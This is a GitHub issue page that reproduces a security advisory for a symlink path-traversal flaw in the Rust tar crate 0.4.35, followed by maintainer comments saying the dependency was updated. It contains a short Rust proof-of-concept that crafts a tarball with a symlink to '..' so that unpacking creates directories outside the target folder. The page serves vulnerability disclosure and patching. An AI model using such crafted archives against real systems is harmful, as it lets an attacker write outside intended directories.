We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Links in archive can create arbitrary directories
tar
0.4.35
When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are already created at this point.
use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") }
This issue was discovered and reported by Martin Michaelis (@mgjm).
See advisory page for additional details.
The text was updated successfully, but these errors were encountered:
This comes in as a dependecy of rust-bert - which we depend on via a custom fork. We should definitely update that.
Sorry, something went wrong.
bert is updated and so is tar 👍
No branches or pull requests
tar
0.4.35
When unpacking a tarball that contains a symlink the
tar
crate may createdirectories outside of the directory it's supposed to unpack into.
The function errors when it's trying to create a file, but the folders are
already created at this point.
This issue was discovered and reported by Martin Michaelis (@mgjm).
See advisory page for additional details.
The text was updated successfully, but these errors were encountered: